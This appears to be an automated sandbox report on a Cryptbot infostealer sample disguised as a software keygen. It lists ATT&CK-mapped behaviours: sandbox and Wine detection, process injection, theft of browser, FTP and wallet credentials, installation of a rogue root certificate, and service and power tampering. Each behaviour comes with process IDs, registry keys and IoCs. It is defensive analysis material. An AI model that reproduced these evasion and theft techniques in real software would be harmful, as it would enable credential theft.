cryptbot | 0bff32f8d8be7319c67a45c16de6df8d964ef0bf0eb1b9006a9bf89fba2a3235

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	bGKejErtQK0Gns7nRcM7KDtG.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bGKejErtQK0Gns7nRcM7KDtG.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	bGKejErtQK0Gns7nRcM7KDtG.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Control Panel\International\Geo\Nation	Subsequently.pif

Executes dropped EXE 22 IoCs

pid	Process
520	Subsequently.pif
2448	Subsequently.pif
4752	lXPQO2zi9zCX6FR6vHrct0pv.exe
2420	shh2LCX0eHlKckJnVKyi1Ge4.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4728	H0Ebbf5ho3YjkgRxKNvqXJJ_.exe
1508	lXPQO2zi9zCX6FR6vHrct0pv.tmp
4672	OoXCmRSqxlYbKdtoCNffpTLK.exe
2616	LE9rdj9rLiXYbZkcbVsNPeEr.exe
2296	9YRw0_IlxTMZnRv0srQoDjNF.exe
5024	DvHoNcj4QUF3eNGB0Teaii8R.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
2404	8uvFfOvdv7QQCJvxt4qD7_UB.exe
2828	DvHoNcj4QUF3eNGB0Teaii8R.exe
2728	Thank.pif
4680	orpqcnvisucm.exe
792	ECFCBKJDBF.exe
1480	BKJJEBKKEH.exe
1736	AdminCBAKJEHDBG.exe
5104	JJJECFIECB.exe
4284	service123.exe
3920	AdminHCAEBFBKKJ.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Wine	bGKejErtQK0Gns7nRcM7KDtG.exe

Loads dropped DLL 8 IoCs

pid	Process
1508	lXPQO2zi9zCX6FR6vHrct0pv.tmp
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4224	RegAsm.exe
4224	RegAsm.exe
4808	RegAsm.exe
4808	RegAsm.exe
4284	service123.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
59	iplogger.org
60	iplogger.org

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	api64.ipify.org
5	api64.ipify.org
6	ipinfo.io
7	ipinfo.io

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4024	powercfg.exe
2616	powercfg.exe
2152	powercfg.exe
1576	powercfg.exe
4688	powercfg.exe
1700	powercfg.exe
196	powercfg.exe
2356	powercfg.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
1504	tasklist.exe
2616	tasklist.exe
3888	tasklist.exe
448	tasklist.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4684	bGKejErtQK0Gns7nRcM7KDtG.exe

Suspicious use of SetThreadContext 13 IoCs

description	pid	Process	procid_target
PID 520 set thread context of 2448	520	Subsequently.pif	86
PID 5024 set thread context of 2828	5024	DvHoNcj4QUF3eNGB0Teaii8R.exe	107
PID 2616 set thread context of 1716	2616	LE9rdj9rLiXYbZkcbVsNPeEr.exe	108
PID 4728 set thread context of 4224	4728	H0Ebbf5ho3YjkgRxKNvqXJJ_.exe	111
PID 2296 set thread context of 4808	2296	9YRw0_IlxTMZnRv0srQoDjNF.exe	113
PID 2404 set thread context of 4184	2404	8uvFfOvdv7QQCJvxt4qD7_UB.exe	114
PID 4680 set thread context of 1852	4680	orpqcnvisucm.exe	147
PID 4680 set thread context of 4540	4680	orpqcnvisucm.exe	148
PID 792 set thread context of 4404	792	ECFCBKJDBF.exe	156
PID 1736 set thread context of 3164	1736	AdminCBAKJEHDBG.exe	164
PID 1480 set thread context of 1096	1480	BKJJEBKKEH.exe	177
PID 5104 set thread context of 3640	5104	JJJECFIECB.exe	178
PID 3920 set thread context of 3828	3920	AdminHCAEBFBKKJ.exe	180

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\RehabDrilling	shh2LCX0eHlKckJnVKyi1Ge4.exe
File opened for modification	C:\Windows\CollectiveBodies	shh2LCX0eHlKckJnVKyi1Ge4.exe
File opened for modification	C:\Windows\HolesAdvertise	xfer records serum keygen torrent.exe
File opened for modification	C:\Windows\ReasoningUne	xfer records serum keygen torrent.exe
File opened for modification	C:\Windows\IiiCasting	xfer records serum keygen torrent.exe
File opened for modification	C:\Windows\EroticRick	xfer records serum keygen torrent.exe
File opened for modification	C:\Windows\EcuadorEnhancement	xfer records serum keygen torrent.exe
File opened for modification	C:\Windows\LinearDistance	shh2LCX0eHlKckJnVKyi1Ge4.exe
File opened for modification	C:\Windows\DeviationAspect	shh2LCX0eHlKckJnVKyi1Ge4.exe
File opened for modification	C:\Windows\AhIllustrations	shh2LCX0eHlKckJnVKyi1Ge4.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3520	sc.exe
5104	sc.exe
2420	sc.exe
5012	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1392	1508	WerFault.exe	91

System Location Discovery: System Language Discovery 1 TTPs 52 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Subsequently.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	LE9rdj9rLiXYbZkcbVsNPeEr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdminCBAKJEHDBG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lXPQO2zi9zCX6FR6vHrct0pv.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JJJECFIECB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdminHCAEBFBKKJ.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	xfer records serum keygen torrent.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9YRw0_IlxTMZnRv0srQoDjNF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DvHoNcj4QUF3eNGB0Teaii8R.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ECFCBKJDBF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	service123.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Thank.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	lXPQO2zi9zCX6FR6vHrct0pv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shh2LCX0eHlKckJnVKyi1Ge4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	OoXCmRSqxlYbKdtoCNffpTLK.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Subsequently.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bGKejErtQK0Gns7nRcM7KDtG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BKJJEBKKEH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8uvFfOvdv7QQCJvxt4qD7_UB.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H0Ebbf5ho3YjkgRxKNvqXJJ_.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
544	cmd.exe
1480	PING.EXE

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	bGKejErtQK0Gns7nRcM7KDtG.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	OoXCmRSqxlYbKdtoCNffpTLK.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	OoXCmRSqxlYbKdtoCNffpTLK.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	bGKejErtQK0Gns7nRcM7KDtG.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2144	timeout.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 140000000100000014000000f352eacf816860c1097c4b852f4332dd93eb5d4f0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c20000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 190000000100000010000000dbd91ea86008fd8536f2b37529666c7b0f000000010000002000000020d814fd5fc477ce74425e441d8f5b48d38db6f1dd119441bc35777689bd094c030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b0640200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e003000000000000b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079000000140000000100000014000000f352eacf816860c1097c4b852f4332dd93eb5d4f20000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1480	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3100	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4224	RegAsm.exe
4224	RegAsm.exe
1716	RegAsm.exe
1716	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
4684	bGKejErtQK0Gns7nRcM7KDtG.exe
2728	Thank.pif
2728	Thank.pif
2728	Thank.pif
2728	Thank.pif
2728	Thank.pif
2728	Thank.pif
4224	RegAsm.exe
4224	RegAsm.exe
4184	RegAsm.exe
4184	RegAsm.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4116	Gff1V5KWuM4a73iXodnMc2em.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4680	orpqcnvisucm.exe
4808	RegAsm.exe
4808	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe
4224	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

description	pid	Process
Token: SeDebugPrivilege	1504	tasklist.exe
Token: SeDebugPrivilege	2616	tasklist.exe
Token: SeDebugPrivilege	1716	RegAsm.exe
Token: SeBackupPrivilege	1716	RegAsm.exe
Token: SeSecurityPrivilege	1716	RegAsm.exe
Token: SeSecurityPrivilege	1716	RegAsm.exe
Token: SeSecurityPrivilege	1716	RegAsm.exe
Token: SeSecurityPrivilege	1716	RegAsm.exe
Token: SeDebugPrivilege	3888	tasklist.exe
Token: SeDebugPrivilege	448	tasklist.exe
Token: SeShutdownPrivilege	196	powercfg.exe
Token: SeCreatePagefilePrivilege	196	powercfg.exe
Token: SeShutdownPrivilege	2356	powercfg.exe
Token: SeCreatePagefilePrivilege	2356	powercfg.exe
Token: SeShutdownPrivilege	4024	powercfg.exe
Token: SeCreatePagefilePrivilege	4024	powercfg.exe
Token: SeShutdownPrivilege	1700	powercfg.exe
Token: SeCreatePagefilePrivilege	1700	powercfg.exe
Token: SeLockMemoryPrivilege	4540	svchost.exe
Token: SeShutdownPrivilege	1576	powercfg.exe
Token: SeCreatePagefilePrivilege	1576	powercfg.exe
Token: SeShutdownPrivilege	2616	powercfg.exe
Token: SeCreatePagefilePrivilege	2616	powercfg.exe
Token: SeShutdownPrivilege	2152	powercfg.exe
Token: SeCreatePagefilePrivilege	2152	powercfg.exe
Token: SeShutdownPrivilege	4688	powercfg.exe
Token: SeCreatePagefilePrivilege	4688	powercfg.exe
Token: SeDebugPrivilege	4184	RegAsm.exe

Suspicious use of FindShellTrayWindow 6 IoCs

pid	Process
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
2728	Thank.pif
2728	Thank.pif
2728	Thank.pif

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
520	Subsequently.pif
520	Subsequently.pif
520	Subsequently.pif
2728	Thank.pif
2728	Thank.pif
2728	Thank.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 4008	2416	xfer records serum keygen torrent.exe	74
PID 2416 wrote to memory of 4008	2416	xfer records serum keygen torrent.exe	74
PID 2416 wrote to memory of 4008	2416	xfer records serum keygen torrent.exe	74
PID 4008 wrote to memory of 1504	4008	cmd.exe	76
PID 4008 wrote to memory of 1504	4008	cmd.exe	76
PID 4008 wrote to memory of 1504	4008	cmd.exe	76
PID 4008 wrote to memory of 4116	4008	cmd.exe	77
PID 4008 wrote to memory of 4116	4008	cmd.exe	77
PID 4008 wrote to memory of 4116	4008	cmd.exe	77
PID 4008 wrote to memory of 2616	4008	cmd.exe	79
PID 4008 wrote to memory of 2616	4008	cmd.exe	79
PID 4008 wrote to memory of 2616	4008	cmd.exe	79
PID 4008 wrote to memory of 2992	4008	cmd.exe	80
PID 4008 wrote to memory of 2992	4008	cmd.exe	80
PID 4008 wrote to memory of 2992	4008	cmd.exe	80
PID 4008 wrote to memory of 2328	4008	cmd.exe	81
PID 4008 wrote to memory of 2328	4008	cmd.exe	81
PID 4008 wrote to memory of 2328	4008	cmd.exe	81
PID 4008 wrote to memory of 3640	4008	cmd.exe	82
PID 4008 wrote to memory of 3640	4008	cmd.exe	82
PID 4008 wrote to memory of 3640	4008	cmd.exe	82
PID 4008 wrote to memory of 4240	4008	cmd.exe	83
PID 4008 wrote to memory of 4240	4008	cmd.exe	83
PID 4008 wrote to memory of 4240	4008	cmd.exe	83
PID 4008 wrote to memory of 520	4008	cmd.exe	84
PID 4008 wrote to memory of 520	4008	cmd.exe	84
PID 4008 wrote to memory of 520	4008	cmd.exe	84
PID 4008 wrote to memory of 1564	4008	cmd.exe	85
PID 4008 wrote to memory of 1564	4008	cmd.exe	85
PID 4008 wrote to memory of 1564	4008	cmd.exe	85
PID 520 wrote to memory of 2448	520	Subsequently.pif	86
PID 520 wrote to memory of 2448	520	Subsequently.pif	86
PID 520 wrote to memory of 2448	520	Subsequently.pif	86
PID 520 wrote to memory of 2448	520	Subsequently.pif	86
PID 520 wrote to memory of 2448	520	Subsequently.pif	86
PID 2448 wrote to memory of 4752	2448	Subsequently.pif	87
PID 2448 wrote to memory of 4752	2448	Subsequently.pif	87
PID 2448 wrote to memory of 4752	2448	Subsequently.pif	87
